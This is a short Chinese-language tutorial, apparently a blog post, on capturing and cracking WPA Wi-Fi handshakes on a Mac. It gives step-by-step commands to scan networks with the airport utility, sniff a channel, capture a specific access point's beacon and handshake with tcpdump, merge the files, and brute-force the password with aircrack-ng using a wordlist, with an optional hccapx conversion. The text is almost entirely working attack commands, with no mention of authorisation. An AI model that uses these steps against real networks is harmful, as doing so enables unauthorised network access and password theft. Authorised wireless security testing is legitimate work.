1.安装airport
1 | $ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport |
2.扫描周围的Wifi
1 | $ sudo airport -s |
3.嗅探指定的信道
1 | $ sudo airport en0 sniff $CHANNEL |
如果出现错误,Segmentation fault: 11,可以使用 tcpdump 抓包
4.1 断开airport的连接
1 | $ sudo airport -z |
4.2 设置信道,-c和信道号之间没有空格
1 | # 示例:sudo airport -c6 |
4.3 从指定AP开始抓包
1 | # 示例:sudo tcpdump "type mgt subtype beacon and ether src 98:13:33:b4:35:a4" -I -c 1 -i en0 -w beacon.cap |
4.4 等待WPA的握手
1 | # 示例:sudo tcpdump "ether proto 0x888e and ether host 98:13:33:b4:35:a4" -I -U -vvv -i en0 -w handshake.cap |
4.5 安装wireshark,下一步会用到它的合包命令
1 | $ brew install wireshark |
4.6 将2个cap文件合并成一个cap文件
1 | $ mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap |
至少要等到4.4获取到4 frames或更多的包才可以Ctrl-C终止抓包。
4.7 安装 aircrack-ng
1 | $ brew install aircrack-ng |
4.8 将 aircrack-ng 路径添加到 /etc/paths 中。
1 | $ sudo vim /etc/paths |
然后将 aircrack-ng 路径添加到最后一行。
4.9 查看抓到的包中是否包含握手包。
1 | #$ aircrack-ng capture.cap |
撞击密码
1
$ aircrack-ng -w alphaDic.txt -b 98:13:33:B4:35:A4 capture1.cap
转换包格式,如果使用上面的cap无法爆破,或者爆破比较麻烦,可以将cap包转换成hcccapx格式,然后再破解。
1
$ ./cap2hccapx.bin /Users/kris/Desktop/wifi/20200208/capture.cap /Users/kris/Desktop/wifi/20200208/capture.hccapx
下面是一个破解示例:
1 | Aircrack-ng 1.5.2 |